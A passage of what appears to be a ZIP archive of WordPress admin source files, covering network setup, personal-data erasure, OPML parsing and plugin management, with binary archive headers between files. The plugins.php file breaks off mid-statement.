         '<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs.' );

/* translators: %s: Codex URL */
__( 'For more information, see <a href="%s">the release notes</a>.' );
PK�������!����������network.phpnu��[�����������<?php
/**
 * Network installation administration panel.
 *
 * A multi-step process allowing the user to enable a network of WordPress sites.
 *
 * @since 3.0.0
 *
 * @package WordPress
 * @subpackage Administration
 */

define( 'WP_INSTALLING_NETWORK', true );

/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

if ( ! current_user_can( 'setup_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

if ( is_multisite() ) {
	if ( ! is_network_admin() ) {
		wp_redirect( network_admin_url( 'setup.php' ) );
		exit;
	}

if ( ! defined( 'MULTISITE' ) ) {
		wp_die( __( 'The Network creation panel is not for WordPress MU networks.' ) );
	}
}

require_once( dirname( __FILE__ ) . '/includes/network.php' );

// We need to create references to ms global tables to enable Network.
foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) {
	$wpdb->$table = $prefixed_table;
}

if ( ! network_domain_check() && ( ! defined( 'WP_ALLOW_MULTISITE' ) || ! WP_ALLOW_MULTISITE ) ) {
	wp_die(
		printf(
			/* translators: 1: WP_ALLOW_MULTISITE 2: wp-config.php */
			__( 'You must define the %1$s constant as true in your %2$s file to allow creation of a Network.' ),
			'<code>WP_ALLOW_MULTISITE</code>',
			'<code>wp-config.php</code>'
		)
	);
}

if ( is_network_admin() ) {
	$title = __( 'Network Setup' );
	$parent_file = 'settings.php';
} else {
	$title = __( 'Create a Network of WordPress Sites' );
	$parent_file = 'tools.php';
}

$network_help = '<p>' . __('This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it.') . '</p>' .
	'<p>' . __('Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your installation. Fill out the network details, and click Install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories).') . '</p>' .
	'<p>' . __('The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files.') . '</p>' .
	'<p>' . __('Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules).') . '</p>' .
	'<p>' . __('Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar.') . '</p>' .
	'<p>' . __('The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with &#8220;/blog/&#8221; from the main site. This disabling will be addressed in a future version.') . '</p>' .
	'<p><strong>' . __('For more information:') . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Create_A_Network">Documentation on Creating a Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Tools_Network_Screen">Documentation on the Network Screen</a>' ) . '</p>';

get_current_screen()->add_help_tab( array(
	'id'      => 'network',
	'title'   => __('Network'),
	'content' => $network_help,
) );

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __('For more information:') . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Create_A_Network">Documentation on Creating a Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Tools_Network_Screen">Documentation on the Network Screen</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
);

include( ABSPATH . 'wp-admin/admin-header.php' );
?>
<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<?php
if ( $_POST ) {

check_admin_referer( 'install-network-1' );

require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
	// Create network tables.
	install_network();
	$base              = parse_url( trailingslashit( get_option( 'home' ) ), PHP_URL_PATH );
	$subdomain_install = allow_subdomain_install() ? !empty( $_POST['subdomain_install'] ) : false;
	if ( ! network_domain_check() ) {
		$result = populate_network( 1, get_clean_basedomain(), sanitize_email( $_POST['email'] ), wp_unslash( $_POST['sitename'] ), $base, $subdomain_install );
		if ( is_wp_error( $result ) ) {
			if ( 1 == count( $result->get_error_codes() ) && 'no_wildcard_dns' == $result->get_error_code() )
				network_step2( $result );
			else
				network_step1( $result );
		} else {
			network_step2();
		}
	} else {
		network_step2();
	}
} elseif ( is_multisite() || network_domain_check() ) {
	network_step2();
} else {
	network_step1();
}
?>
</div>

<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
PK�������!��bʏQ��Q����erase-personal-data.phpnu�&1i���������<?php
/**
 * Privacy tools, Erase Personal Data screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'erase_others_personal_data' ) || ! current_user_can( 'delete_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to erase personal data on this site.' ) );
}

// Used in the HTML title tag.
$title = __( 'Erase Personal Data' );

// Contextual help - choose Help on the top right of admin panel to preview this.
get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
					'<p>' . __( 'This screen is where you manage requests to erase personal data.' ) . '</p>' .
					'<p>' . __( 'Privacy Laws around the world require businesses and online services to delete, anonymize, or forget the data they collect about an individual. The rights those laws enshrine are sometimes called the "Right to be Forgotten".' ) . '</p>' .
					'<p>' . __( 'The tool associates data stored in WordPress with a supplied email address, including profile data and comments.' ) . '</p>' .
					'<p><strong>' . __( 'Note: As this tool only gathers data from WordPress and participating plugins, you may need to do more to comply with erasure requests. For example, you are also responsible for ensuring that data collected by or stored with the 3rd party services your organization uses gets deleted.' ) . '</strong></p>',
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'default-data',
		'title'   => __( 'Default Data' ),
		'content' =>
					'<p>' . __( 'WordPress collects (but <em>never</em> publishes) a limited amount of data from logged-in users but then deletes it or anonymizes it. That data can include:' ) . '</p>' .
					'<p>' . __( '<strong>Profile Information</strong> &mdash; user email address, username, display name, nickname, first name, last name, description/bio, and registration date.' ) . '</p>' .
					'<p>' . __( '<strong>Community Events Location</strong> &mdash; The IP Address of the user which is used for the Upcoming Community Events shown in the dashboard widget.' ) . '</p>' .
					'<p>' . __( '<strong>Session Tokens</strong> &mdash; User login information, IP Addresses, Expiration Date, User Agent (Browser/OS), and Last Login.' ) . '</p>' .
					'<p>' . __( '<strong>Comments</strong> &mdash; WordPress does not delete comments. The software does anonymize (but, again, <em>never</em> publishes) the associated Email Address, IP Address, and User Agent (Browser/OS).' ) . '</p>' .
					'<p>' . __( '<strong>Media</strong> &mdash; A list of URLs for all media file uploads made by the user.' ) . '</p>',
	)
);

$privacy_policy_guide = '<p>' . sprintf(
	/* translators: %s: URL to Privacy Policy Guide screen. */
	__( 'If you are not sure, check the plugin documentation or contact the plugin author to see if the plugin collects data and if it supports the Data Eraser tool. This information may be available in the <a href="%s">Privacy Policy Guide</a>.' ),
	admin_url( 'options-privacy.php?tab=policyguide' )
) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'plugin-data',
		'title'   => __( 'Plugin Data' ),
		'content' =>
					'<p>' . __( 'Many plugins may collect or store personal data either in the WordPress database or remotely. Any Erase Personal Data request should delete data from plugins as well.' ) . '</p>' .
					$privacy_policy_guide .
					'<p>' . __( 'If you are a plugin author, you can learn more about <a href="https://developer.wordpress.org/plugins/privacy/adding-the-personal-data-eraser-to-your-plugin/">how to add the Personal Data Eraser to a plugin</a>.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-erase-personal-data-screen/">Documentation on Erase Personal Data</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

// Handle list table actions.
_wp_personal_data_handle_actions();

// Cleans up failed and expired requests before displaying the list table.
_wp_personal_data_cleanup_requests();

wp_enqueue_script( 'privacy-tools' );

add_screen_option(
	'per_page',
	array(
		'default' => 20,
		'option'  => 'remove_personal_data_requests_per_page',
	)
);

$_list_table_args = array(
	'plural'   => 'privacy_requests',
	'singular' => 'privacy_request',
);

$requests_table = _get_list_table( 'WP_Privacy_Data_Removal_Requests_List_Table', $_list_table_args );

$requests_table->screen->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter erase personal data list' ),
		'heading_pagination' => __( 'Erase personal data list navigation' ),
		'heading_list'       => __( 'Erase personal data list' ),
	)
);

$requests_table->process_bulk_action();
$requests_table->prepare_items();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<?php settings_errors(); ?>

<form action="<?php echo esc_url( admin_url( 'erase-personal-data.php' ) ); ?>" method="post" class="wp-privacy-request-form">
		<h2><?php esc_html_e( 'Add Data Erasure Request' ); ?></h2>
		<div class="wp-privacy-request-form-field">
			<table class="form-table">
				<tr>
					<th scope="row">
						<label for="username_or_email_for_privacy_request"><?php esc_html_e( 'Username or email address' ); ?></label>
					</th>
					<td>
						<input type="text" required class="regular-text ltr" id="username_or_email_for_privacy_request" name="username_or_email_for_privacy_request" />
					</td>
				</tr>
				<tr>
					<th scope="row">
						<?php _e( 'Confirmation email' ); ?>
					</th>
					<td>
						<label for="send_confirmation_email">
							<input type="checkbox" name="send_confirmation_email" id="send_confirmation_email" value="1" checked="checked" />
							<?php _e( 'Send personal data erasure confirmation email.' ); ?>
						</label>
					</td>
				</tr>
			</table>
			<p class="submit">
				<?php submit_button( __( 'Send Request' ), 'secondary', 'submit', false ); ?>
			</p>
		</div>
		<?php wp_nonce_field( 'personal-data-request' ); ?>
		<input type="hidden" name="action" value="add_remove_personal_data_request" />
		<input type="hidden" name="type_of_action" value="remove_personal_data" />
	</form>
	<hr />

<?php $requests_table->views(); ?>

<form class="search-form wp-clearfix">
		<?php $requests_table->search_box( __( 'Search Requests' ), 'requests' ); ?>
		<input type="hidden" name="filter-status" value="<?php echo isset( $_REQUEST['filter-status'] ) ? esc_attr( sanitize_text_field( $_REQUEST['filter-status'] ) ) : ''; ?>" />
		<input type="hidden" name="orderby" value="<?php echo isset( $_REQUEST['orderby'] ) ? esc_attr( sanitize_text_field( $_REQUEST['orderby'] ) ) : ''; ?>" />
		<input type="hidden" name="order" value="<?php echo isset( $_REQUEST['order'] ) ? esc_attr( sanitize_text_field( $_REQUEST['order'] ) ) : ''; ?>" />
	</form>

<form method="post">
		<?php
		$requests_table->display();
		$requests_table->embed_scripts();
		?>
	</form>
</div>

<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
PK�������!���a	��a	����link-parse-opml.phpnu��[�����������<?php
/**
 * Parse OPML XML files and store in globals.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined('ABSPATH') )
	die();

/**
 * @global string $opml
 */
global $opml;

/**
 * XML callback function for the start of a new XML tag.
 *
 * @since 0.71
 * @access private
 *
 * @global array $names
 * @global array $urls
 * @global array $targets
 * @global array $descriptions
 * @global array $feeds
 *
 * @param mixed $parser XML Parser resource.
 * @param string $tagName XML element name.
 * @param array $attrs XML element attributes.
 */
function startElement($parser, $tagName, $attrs) {
	global $names, $urls, $targets, $descriptions, $feeds;

if ( 'OUTLINE' === $tagName ) {
		$name = '';
		if ( isset( $attrs['TEXT'] ) ) {
			$name = $attrs['TEXT'];
		}
		if ( isset( $attrs['TITLE'] ) ) {
			$name = $attrs['TITLE'];
		}
		$url = '';
		if ( isset( $attrs['URL'] ) ) {
			$url = $attrs['URL'];
		}
		if ( isset( $attrs['HTMLURL'] ) ) {
			$url = $attrs['HTMLURL'];
		}

// Save the data away.
		$names[] = $name;
		$urls[] = $url;
		$targets[] = isset( $attrs['TARGET'] ) ? $attrs['TARGET'] :  '';
		$feeds[] = isset( $attrs['XMLURL'] ) ? $attrs['XMLURL'] :  '';
		$descriptions[] = isset( $attrs['DESCRIPTION'] ) ? $attrs['DESCRIPTION'] :  '';
	} // End if outline.
}

/**
 * XML callback function that is called at the end of a XML tag.
 *
 * @since 0.71
 * @access private
 *
 * @param mixed $parser XML Parser resource.
 * @param string $tagName XML tag name.
 */
function endElement($parser, $tagName) {
	// Nothing to do.
}

// Create an XML parser
if ( ! function_exists( 'xml_parser_create' ) ) {
	trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
	wp_die( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
}

$xml_parser = xml_parser_create();

// Set the functions to handle opening and closing tags
xml_set_element_handler($xml_parser, "startElement", "endElement");

if ( ! xml_parse( $xml_parser, $opml, true ) ) {
	printf(
		/* translators: 1: error message, 2: line number */
		__( 'XML Error: %1$s at line %2$s' ),
		xml_error_string( xml_get_error_code( $xml_parser ) ),
		xml_get_current_line_number( $xml_parser )
	);
}

// Free up memory used by the XML parser
xml_parser_free($xml_parser);
PK�������!�����X���X����plugins.phpnu��[�����������<?php
/**
 * Plugins administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

if ( ! current_user_can('activate_plugins') )
	wp_die( __( 'Sorry, you are not allowed to manage plugins for this site.' ) );

$wp_list_table = _get_list_table('WP_Plugins_List_Table');
$pagenum = $wp_list_table->get_pagenum();

$action = $wp_list_table->current_action();

$plugin = isset($_REQUEST['plugin']) ? wp_unslash( $_REQUEST['plugin'] ) : '';
$s = isset($_REQUEST['s']) ? urlencode( wp_unslash( $_REQUEST['s'] ) ) : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$_SERVER['REQUEST_URI'] = remove_query_arg(array('error', 'deleted', 'activate', 'activate-multi', 'deactivate', 'deactivate-multi', '_error_nonce'), $_SERVER['REQUEST_URI']);

wp_enqueue_script( 'updates' );

if ( $action ) {

switch ( $action ) {
		case 'activate':
			if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) );
			}

if ( is_multisite() && ! is_network_admin() && is_network_only_plugin( $plugin ) ) {
				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
				exit;
			}

check_admin_referer('activate-plugin_' . $plugin);

$result = activate_plugin($plugin, self_admin_url('plugins.php?error=true&plugin=' . urlencode( $plugin ) ), is_network_admin() );
			if ( is_wp_error( $result ) ) {
				if ( 'unexpected_output' == $result->get_error_code() ) {
					$redirect = self_admin_url('plugins.php?error=true&charsout=' . strlen($result->get_error_data()) . '&plugin=' . urlencode( $plugin ) . "&plugin_status=$status&paged=$page&s=$s");
					wp_redirect(add_query_arg('_error_nonce', wp_create_nonce('plugin-activation-error_' . $plugin), $redirect));
					exit;
				} else {
					wp_die($result);
				}
			}

if ( ! is_network_admin() ) {
				$recent = (array) get_option( 'recently_activated' );
				unset( $recent[ $plugin ] );
				update_option( 'recently_activated', $recent );
			} else {
				$recent = (array) get_site_option( 'recently_activated' );
				unset( $recent[ $plugin ] );
				update_site_option( 'recently_activated', $recent );
			}

if ( isset($_GET['from']) && 'import' == $_GET['from'] ) {
				wp_redirect( self_admin_url("import.php?import=" . str_replace('-importer', '', dirname($plugin))) ); // overrides the ?error=true one above and redirects to the Imports page, stripping the -importer suffix
			} else if ( isset($_GET['from']) && 'press-this' == $_GET['from'] ) {
				wp_redirect( self_admin_url( "press-this.php") );
			} else {
				wp_redirect( self_admin_url("plugins.php?activate=true&plugin_status=$status&paged=$page&s=$s") ); // overrides the ?error=true one above
			}
			exit;

case 'activate-selected':
			if ( ! current_user_can('activate_plugins') )
				wp_die(__('Sorry, you are not allowed to activate plugins for this site.'));

check_admin_referer('bulk-plugins');

$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();

if ( is_network_admin() ) {
				foreach ( $plugins as $i => $plugin ) {
					// Only activate plugins which are not already network activated.
					if ( is_plugin_active_for_network( $plugin ) ) {
						unset( $plugins[ $i ] );
					}
				}
			} else {
				foreach ( $plugins as $i => $plugin ) {
					// Only activate plugins which are not already active and are not network-only when on Multisite.
					if ( is_plugin_active( $plugin ) || ( is_multisite() && is_network_only_plugin( $plugin ) ) ) {
						unset( $plugins[ $i ] );
					}
					// Only activate plugins which the user can activate.
					if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
						unset( $plugins[ $i ] );
					}
				}
			}

if ( empty($plugins) ) {
				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
				exit;
			}

activate_plugins($plugins, self_admin_url('plugins.php?error=true'), is_network_admin() );

if ( ! is_network_admin() ) {
				$recent = (array) get_option('recently_activated' );
			} else {
				$recent = (array) get_site_option('recently_activated' );
			}

foreach ( $plugins as $plugin ) {
				unset( $recent[ $plugin ] );
			}

if ( ! is_network_admin() ) {
				update_option( 'recently_activated', $recent );
			} else {
				update_site_option( 'recently_activated', $recent );
			}

wp_redirect( self_admin_url("plugins.php?activate-multi=true&plugin_status=$status&paged=$page&s=$s") );
			exit;

case 'update-selected' :

check_admin_referer( 'bulk-plugins' );

if ( isset( $_GET['plugins'] ) )
				$plugins = explode( ',', wp_unslash( $_GET['plugins'] ) );
			elseif ( isset( $_POST['checked'] ) )
				$plugins = (array) wp_unslash( $_POST['checked'] );
			else
				$plugins = array();

$title = __( 'Update Plugins' );
			$parent_file = 'plugins.php';

wp_enqueue_script( 'updates' );
			require_once(ABSPATH . 'wp-admin/admin-header.php');

echo '<div class="wrap">';
			echo '<h1>' . esc_html( $title ) . '</h1>';

$url = self_admin_url('update.php?action=update-selected&amp;plugins=' . urlencode( join(',', $plugins) ));
			$url = wp_nonce_url($url, 'bulk-update-plugins');

echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
			echo '</div>';
			require_once(ABSPATH . 'wp-admin/admin-footer.php');
			exit;

case 'error_scrape':
			if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) );
			}

check_admin_referer('plugin-activation-error_' . $plugin);

$valid = validate_plugin($plugin);
			if ( is_wp_error($valid) )
				wp_die($valid);

if ( ! WP_DEBUG ) {
				error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
			}

@ini_set('display_errors', true); //Ensure that Fatal errors are displayed.
			// Go back to "sandbox" scope so we get the same errors as before
			plugin_sandbox_scrape( $plugin );
			/** This action is documented in wp-admin/includes/plugin.php */
			do_action( "activate_{$plugin}" );
			exit;

case 'deactivate':
			if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to deactivate this plugin.' ) );
			}

check_admin_referer('deactivate-plugin_' . $plugin);

if ( ! is_network_admin() && is_plugin_active_for_network( $plugin ) ) {
				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
				exit;
			}

deactivate_plugins( $plugin, false, is_network_admin() );

if ( ! is_network_admin() ) {
				update_option( 'recently_activated', array( $plugin => time() ) + (array) get_option( 'recently_activated' ) );
			} else {
				update_site_option( 'recently_activated', array( $plugin => time() ) + (array) get_site_option( 'recently_activated' ) );
			}

if ( headers_sent() )
				echo "<meta http-equiv='refresh' content='" . esc_attr( "0;url=plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s" ) . "' />";
			else
				wp_redirect( self_admin_url("plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s") );
			exit;

case 'deactivate-selected':
			if ( ! current_user_can( 'deactivate_plugins' ) ) {
				wp_die(__('Sorry, you are not allowed to deactivate plugins for this site.'));
			}

check_admin_referer('bulk-plugins');

$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();
			// Do not deactivate plugins which are already deactivated.
			if ( is_network_admin() ) {
				$plugins = array_filter( $plugins, 'is_plugin_active_for_network' );
			} else {
				$plugins = array_filter( $plugins, 'is_plugin_active' );
				$plugins = array_diff( $plugins, array_filter( $plugins, 'is_plugin_active_for_network' ) );

foreach ( $plugins as $i => $plugin ) {
					// Only deactivate plugins which the user can deactivate.
					if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) {
						unset( $plugins[ $i ] );
					}
				}

}
			if ( empty($plugins) ) {
				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
				exit;
			}

deactivate_plugins( $plugins, false, is_network_admin() );

$deactivated = array();
			foreach ( $plugins as $plugin ) {
				$deactivated[ $plugin ] = time();
			}

if ( ! is_network_admin() ) {
				update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ) );
			} else {
				update_site_option( 'recently_activated', $deactivated + (array) get_site_option( 'recently_activated' ) );
			}

wp_redirect( self_admin_url("plugins.php?deactivate-multi=true&plugin_status=$status&paged=$page&s=$s") );
			exit;

case 'delete-selected':
			if ( ! current_user_can('delete_plugins') ) {
				wp_die(__('Sorry, you are not allowed to delete plugins for this site.'));
			}

check_admin_referer('bulk-plugins');

//$_POST = from the plugin form; $_GET = from the FTP details screen.
			$plugins = isset( $_REQUEST['checked'] ) ? (array) wp_unslash( $_REQUEST['checked'] ) : array();
			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
				exit;
			}

$plugins = array_filter($plugins, 'is_plugin_inactive'); // Do not allow to delete Activated plugins.
			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url( "plugins.php?error=true&main=true&plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

// Bail on all if any paths are invalid.
			// validate_file() returns truthy for invalid files
			$invalid_plugin_files = array_filter( $plugins, 'validate_file' );
			if ( $invalid_plugin_files ) {
				wp_redirect( self_admin_url("plugins.php?plugin_status=$status&paged=$page&s=$s") );
				exit;
			}

include(ABSPATH . 'wp-admin/update.php');

$parent_file = 'plugins.php';

if ( ! isset($_REQUEST['verify-delete']) ) {
				wp_enqueue_script('jquery');
				require_once(ABSPATH . 'wp-admin/admin-header.php');
				?>
			<div class="wrap">
				<?php
					$plugin_info = array();
					$have_non_network_plugins = false;
					foreach ( (array) $plugins as $plugin ) {
						$plugin_slug = dirname( $plugin );

if ( '.' == $plugin_slug ) {
							if ( $data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ) ) {
								$plugin_info[ $plugin ] = $data;
								$plugin_info[ $plugin ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
								if ( ! $plugin_info[ $plugin ]['Network'] ) {
									$have_non_network_plugins = true;
								}
							}
						} else {
							// Get plugins list from that folder.
							if ( $folder_plugins = get_plugins( '/' . $plugin_slug ) ) {
								foreach ( $folder_plugins as $plugin_file => $data ) {
									$plugin_info[ $plugin_file ] = _get_plugin_data_markup_translate( $plugin_file, $data );
									$plugin_info[ $plugin_file ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
									if ( ! $plugin_info[ $plugin_file ]['Network'] ) {
										$have_non_network_plugins = true;
									}
								}
							}
						}
					}
					$plugins_to_delete = count( $plugin_info );
				?>
				<?php if ( 1 == $plugins_to_delete ) : ?>
					<h1><?php _e( 'Delete Plugin' ); ?></h1>
					<?php if ( $have_non_network_plugins && is_network_admin() ) : ?>
						<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php _e( 'This plugin may be active on other sites in the network.' ); ?></p></div>
					<?php endif; ?>
					<p><?php _e( 'You are about to remove the following plugin:' ); ?></p>
				<?php else: ?>
					<h1><?php _e( 'Delete Plugins' ); ?></h1>
					<?php if ( $have_non_network_plugins && is_network_admin() ) : ?>
						<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php _e( 'These plugins may be active on other sites in the network.' ); ?></p></div>
					<?php endif; ?>
					<p><?php _e( 'You are about to remove the following plugins:' ); ?></p>
				<?php endif; ?>
					<ul class="ul-disc">
						<?php
						$data_to_delete = false;
						foreach ( $plugin_info as $plugin ) {
							if ( $plugin['is_uninstallable'] ) {
								/* translators: 1: plugin name, 2: plugin author */
								echo '<li>', sprintf( __( '%1$s by %2$s (will also <strong>delete its data</strong>)' ), '<strong>' . $plugin['Name'] . '</strong>', '<em>' . $plugin['AuthorName'] . '</em>' ), '</li>';
								$data_to_delete = true;
							} else {
								/* translators: 1: plugin name, 2: plugin author */
								echo '<li>', sprintf( _x('%1$s by %2$s', 'plugin' ), '<strong>' . $plugin['Name'] . '</strong>', '<em>' . $plugin['AuthorName'] ) . '</em>', '</li>';
							}
						}
						?>
					</ul>
				<p><?php
				if ( $data_to_delete )
					_e('Are you sure you wish to delete these files and data?');
				else
					_e('Are you sure you wish to delete these files?');
				?></p>
				<form method="post" action="<?php echo esc_url($_SERVER['REQUEST_URI']); ?>" style="display:inline;">
					<input type="hidden" name="verify-delete" value="1" />
					<input type="hidden" name="action" value="delete-selected" />
					<?php
						foreach ( (array) $plugins as $plugin ) {
							echo '<input type="hidden" name="checked[]" value="' . esc_attr( $plugin ) . '" />';
						}
					?>
					<?php wp_nonce_field('bulk-plugins') ?>
					<?php submit_button( $data_to_delete ? __( 'Yes, delete these files and data' ) : __( 'Yes, delete these files' ), '', 'submit', false ); ?>
				</form>
				<?php
				$referer = wp_get_referer();
				?>
				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
					<?php submit_button( __( 'No, return me to the plugin list' ), '', 'submit', false ); ?>
				</form>
			</div>
				<?php
				require_once(ABSPATH . 'wp-admin/admin-footer.php');
				exit;
			} else {
				$plugins_to_delete = count( $plugins );
			} // endif verify-delete

$delete_result = delete_plugins( $plugins );

set_transient('plugins_delete_result_' . $user_ID, $delete_result); //Store the result in a cache rather than a URL param due to object type & length
			wp_redirect( self_admin_url("plugins.php?deleted=$plugins_to_delete&plugin_status=$status&paged=$page&s=$s") );
			exit;

case 'clear-recent-list':
			if ( ! is_network_admin() ) {
				update_option( 'recently_activated', array() );
			} else {
				update_site_option( 'recently_activated', array() );
			}
			break;

default:
			if ( isset( $_POST['checked'] ) ) {
				check_admin_referer('bulk-plugins');
				$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();
				$sendback = wp_get_referer();

/** This action is documented in wp-admin/edit-comments.php */
				$sendback = apply_filters( 'handle_bulk_actions-' . get_current_screen()->id, $sendback, $action, $plugins );
				wp_safe_redirect( $sendback );
				exit;
			}
			break;
	}

}

$wp_list_table->prepare_items();

wp_enqueue_script('plugin-install');
add_thickbox();

add_screen_option( 'per_page', array( 'default' => 999 ) );

get_current_screen()->add_help_tab( array(
'id'		=> 'overview',
'title'		=> __('Overview'),
'content'	=>
	'<p>' . __('Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here.') . '</p>' .
	'<p>' . __( 'The search for installed plugins will search for terms in their name, description, or author.' ) . ' <span id="live-search-desc" class="hide-if-no-js">' . __( 'The search results will be updated as you type.' ) . '</span></p>' .
	'<p>' . sprintf(
		/* translators: %s: WordPress Plugin Directory URL */
		__( 'If you would like to see more plugins to choose from, click on the &#8220;Add New&#8221; button and you will be able to browse or search for additional plugins from the <a href="%s">WordPress Plugin Directory</a>. Plugins in the WordPress Plugin Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they&#8217;re free!' ),
		__( 'https://wordpress.org/plugins/' )
	) . '</p>'
) );
get_current_screen()->add_help_tab( array(
'id'		=> 'compatibility-problems',
'title'		=> __('Troubleshooting'),
'content'	=>
	'<p>' . __('Most of the time, plugins play nicely with the core of WordPress and with other plugins. Sometimes, though, a plugin&#8217;s code will get in the way of another plugin, causing compatibility issues. If your site starts doing strange things, this may be the problem. Try deactivating all your plugins and re-activating them in various combinations until you isolate which one(s) caused the issue.') . '</p>' .
	'<p>' . sprintf(
		/* translators: WP_PLUGIN_DIR constant value */
		__( 'If something goes wrong with a plugin and you can&#8217;t use WordPress, delete or rename that file in the %s directory and it will be automatically deactivated.' ),
		'<code>' . WP_PLUGIN_DIR . '</code>'
	) . '</p>'
) );

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __('For more information:') . '</strong></p>' .
	'<p>' . __('<a href="https://codex.wordpress.org/Managing_Plugins#Plugin_Management">Documentation on Managing Plugins</a>') . '</p>' .
	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
);

get_current_screen()->set_screen_reader_content( array(
	'heading_views'      => __( 'Filter plugins list' ),
	'heading_pagination' => __( 'Plugins list navigation' ),
	'heading_list'       => __( 'Plugins list' ),
) );

$title = __('Plugins');
$parent_file = 'plugins.php';

require_once(ABSPATH . 'wp-admin/admin-header.php');

$invalid = validate_active_plugins();
if ( ! empty( $invalid ) ) {
	foreach ( $invalid as $plugin_file => $error ) {
		echo '<div id="message" class="error"><p>';
		printf(
			/* translators: 1: plugin file 2: error message */
			__( 'The plugin %1$s has been <strong>deactivated</strong> due to an error: %2$s' ),
			'<code>' . esc_html( $plugin_file ) . '</code>',
			$error->get_error_message() );
		echo '</p></div>';
	}
}
?>

<?php if ( isset($_GET['error']) ) :

if ( isset( $_GET['main'] ) )
		$errmsg = __( 'You cannot delete a plugin while it is active on the main site.' );
	elseif ( isset($_GET['charsout']) )
